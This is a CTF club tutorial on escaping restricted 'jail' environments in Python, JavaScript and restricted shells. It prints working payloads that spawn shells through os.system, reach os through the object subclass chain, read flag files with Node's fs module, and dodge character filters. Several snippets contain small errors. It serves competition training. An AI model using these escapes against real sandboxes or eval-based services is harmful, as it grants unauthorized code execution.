# Jailbreaks
## Club Resources
* [Practice Problems](https://ctf.tjcsec.club)
## Introduction
Jails are restricted enviroments that appear in CTFs, most often in the misc category. The goal of these challenges is to execute code that you should not be able to. Jails appear most often in Python, but they can also be in JavaScript and sometimes a shell enviroment.
## Common Restrictions
Most jails are not just unrestricted enviroments that allow any code to be executed -- they often have measures to prevent the most obvious exploits. These can include:
- limited input (blacklisted charecters, limited tokens/length)
- limited functionality (diabled builtins/modules)
- constrained shell or interpreter
To solve jail challenges, you must figure out a way to bypass these restrictions and acheive RCE (read flag, spawn shell, etc.)
Although there are many restrictions that can be implemented, it is typically easy to find payloads that work. However, difference in your enviorment (eg. Python version) may mean payloads don't work, or more likely need small tweaks.
## Javascript
Look for the `eval()` function being called on user input:
> Warning: Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use eval(). See Never use direct eval()!, below.
### JS Payloads
A common jailbreak payload for Javascript jail challenges:
```javascript!
require("fs").readFile("flag.txt", "utf-8",(err,contents_of_file)=>{console.log(contents_of_file)});
```
## Shell/Bash Jails
Shell jails may use a restricted shell (rbash) or a filtered wrapper around system calls. Typical restrictions:
- no `\`
- no `.`
- limited `PATH`
- command allowlist
### Common Techniques
* Find allowed binaries (ls, compgen -c)
* Use builtins (echo, printf)
* Bypass rbash via:
* bash --noprofile
* function exports
* parameter expansion
* Wildcard tricks for blocked characters:
* `cat */fla*`
## PyJails (Python)
PyJails are the most common type of jails seen in CTFs.
Look for `eval()` and `exec()`:
> The eval() function evaluates the specified expression, if the expression is a legal Python statement, it will be executed.
> The exec() function executes the specified Python code.
>
>The exec() function accepts large blocks of code, unlike the eval() function which only accepts a single expression
Note that `eval()` only executes 1 statement, while `exec()` can do more.
By default, the code called by both of these functions has access to both the global and local namespace, meaning they can use builtin or imported functions.
### Basic payloads
#### Example w/ exec()
```python!
>>> user_input = 'import os; os.system("sh")' #2 commands
>>> exec(user_input)
sh-3.2$ #we have a shell
```
Python's `breakpoint()` function, which is supposed to be used for debugging, launches a REPL that has less restrictions. This means you can import `os` and get a shell. While this apporach may seem circuitous when you can just import `os` normally, it can often be the simplest solution.
#### Example using breakpoint()
```python!
>>> user_input = "breakpoint()"
>>> eval(user_input) #can be called with eval
--Return--
> <string>(1)<module>()->None
(Pdb) import os
(Pdb) os.system("sh")
sh-3.2$ #shell
```
Importing `os` and calling something can also be done in one line:
```python!
__import__('os').system("sh")
```
This construction is useful for jails with `eval()`
### No builtins
Often, challenges will call one of the unsafe functions but will block access to builtin functions. In this case, it is common to take advantage of the fact that Python is an object-oriented langauge. Specifically, **every class is a subclass of the object class**.
This helps us in 2 ways:
- we can get the object class from any class
- we can use the object class to get to its subclasses
```python
>>> ().__class__
<class 'tuple'> #tuple is a class
>>> ().__class__.__mro__
(<class 'tuple'>, <class 'object'>) #subclass of object
>>> ().__class__.__mro__[1]
<class 'object'>
>>> ().__class__.__mro__[1].subclasses() #get object's sublclasses in a list
```
Once we are here, we can use any subclass that helps us achieve RCE:
```python!
().__class__.__mro__[1].__subclasses__()[104].load_module("os").system("sh"); # <class '_frozen_importlib.BuiltinImporter'> lets us import os
```
### Some more tricks
#### Blocked word:
```python!
'o'+'s'
'OS'.lower()
```
#### No letters:
Use [italics](https://lingojam.com/ItalicTextGenerator) (valid in python)
```python!
𝘰𝘴
𝘧𝘭𝘢𝘨
```
Use octal (also valid in python)
```python!
\\163\\150
```
#### No numbers:
```python!
([]==[]) #empty list equals list --> True --> 1
([]==[])+([]==[]) #1+1
```
#### No quotes:
Use builtin/preexisting strings
```python!
[]..__doc__ #list docstring in python
```
## Helpful Resources
- https://shirajuki.js.org/blog/pyjail-cheatsheet/
- https://lingojam.com/ItalicTextGenerator/
- writeups
- google